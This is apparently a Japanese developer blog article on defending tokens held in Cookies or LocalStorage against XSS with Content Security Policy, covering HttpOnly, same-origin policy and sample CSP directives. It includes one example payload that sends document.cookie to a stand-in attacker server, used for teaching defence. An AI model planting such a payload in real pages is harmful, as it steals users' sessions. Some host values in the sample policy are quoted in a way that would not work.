CSP を活用した Cookie や Local Strage でのトークン管理における XSS への防御策
はじめに
SPA に認証機能を実装する際、 LocalStorage や Cookie で認証情報を保持したいときがあります。
しかしこれらの保存方式では、XSS の危険性があります。対策として、出力するコンテンツをエスケープしたり、動的に<script>...<script/>
を生成するのを避ける方法がありますが、完全に防ぎ切ることは難しいです。
本記事では、XSS 脆弱性の対策である CSP について解説することを目的とします。
また、本記事では、具体的な認証情報の保管方法や他のセキュリティ対策については詳細な議論は行いません。
また、XSS 攻撃と CSP による対策のデモアプリを作成しました。興味があればぜひ下の記事も合わせてご覧ください。
XSS 脆弱性とは
XSS(Cross-Site Scripting)脆弱性とは、悪意のあるユーザーが挿入したスクリプトが他のユーザーのブラウザ上で実行されてしまうセキュリティ上の問題です。
例えば、ユーザーが投稿したコンテンツをエスケープ処理せずに表示している場合、他のユーザーのブラウザ上で JavaScript を実行できます。このため、攻撃者は Local Storage からアクセストークンを取得したり、Cookie を利用して認証が必要なページの情報を抜き出すことができます。
実際の攻撃例について説明します。
XSS 攻撃例
<p>コメント: [ここに投稿されたコメントを表示]</p>
このようなコメント欄があったときに、以下のスクリプトが投稿された場合、
<script>
// ユーザーの Cookie 情報を攻撃者のサーバーに送信する
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
このコメントを表示したユーザーの Cookie 情報を含んだリクエストが攻撃者のサーバーに送信されます。
【補足】XSS 脆弱性 と Cookie の HttpOnly 属性
今回は簡単のためdocument.cookie
の例あげました。
実は、HttpOnly属性
を設定すると XSS 脆弱性があっても、document.cookie
による cookie 情報の取り出しができなくなります。
ただし、cookie の中身が取り出せないだけで、cookie を悪用して認証付きのページの中身を盗み取ることは可能なので、XSS に対する脆弱性があることに変わりはありません。
こちらの動画がとてもわかりやすいので興味があれば見てみてください。
この例からもわかる通り、XSSの恐ろしいところは SOP(Same-Origin Policy)[1]の下でも関係なく、サイトの情報を抜き出せてしまう所にあります。
一般的に、SOP の下では CORS で許可されていない Origin からのリソース取得は行えません。
しかし、XSSの場合以下のため、
- 同一 Origin 内で情報(
document.cookie
)を取得 - 別サイトの情報の送信
特にSOPの制限には引っかかることなく、不正に取得した情報を攻撃者の罠サイトに送信することができてしまいます。
CSP とは
CSP(Content Security Policy)とは、読み込むことのできるリソースの種類や取得先をあらかじめ Web アプリケーション側で宣言しておき、Web ブラウザがその宣言に違反する挙動を検知する仕組みです。
今回は XSS 脆弱性への対策として CSP を取り上げていますが、CSP は XSS に限らず悪意のあるサイトに POST リクエストを送信する偽物フォームや、CSS を利用した攻撃などの Content Injection[2]全般に有効な対策です。
CSP で脆弱性対策する
CSP を設定し、読み込むことのできるリソースの種類や取得先を宣言します。
下のように、HTTPレスポンスヘッダーのContent-Security-Policy
にディレクティブセットを記述します。
Content-Security-Policy: (ディレクティブ名) (ディレクティブの値);...
ディレクティブセットとは、"ディレクティブ名"と"ディレクティブの値"がセットになったものです。
-
ディレクティブ名:制限の対象となるリソースのタイプを指定
例えば、script-src
は、JavaScript リソースに対する制限をします。 -
ディレクティブの値:読み込みが許可されるソースや実行を許可するアクションを指定
ソースの例として、self
やhttps://example.com/
は許可するリソースの取得元を示します。
アクションの例として、unsafe-inline
はインラインスクリプトの実行を許可します。
悪意のあるリソースが読み込まれないように CSP を設定する
Content-Security-Policy:
default-src 'self'; /* デフォルトの制限。何も設定されていないディレクティブに対してはdefault-srcの設定が適用される。*/
script-src 'self' 'example.com'; /* <script>タグやinlineスクリプトに対する制限。*/
object-src 'none'; /* <object>タグに対する制限。*/
style-src 'self'; /* <style>タグや外部スタイルシートに対する制限。*/
img-src 'self'; /* <img>タグやCSSのbackground-imageに対する制限。*/
media-src 'self'; /* <audio>や<video>タグに対する制限。*/
frame-src 'none'; /* <frame>や<iframe>タグに対する制限。*/
font-src 'self'; /* フォントリソースに対する制限。*/
connect-src 'http://api-example.com'; /* JavaScriptの実行などで発行されるHTTPリクエストの宛先URLに対する制限。*/
(※ 'self'
:現在のドメインを指定するためのキーワード)
この設定により、JavaScript の実行元や外部リソースへのアクセスが制限されるため、 Cookie や Local Storage などのセッションストアからのトークンの盗難を防ぐことができます。
CSP は、アプリケーションの要件やセキュリティ上の脅威に応じて構成する必要があります。適切に設定すれば XSS 脆弱性のリスクを軽減することができますが、100%防ぎ切るものではないため注意が必要です。
参考文献
Discussion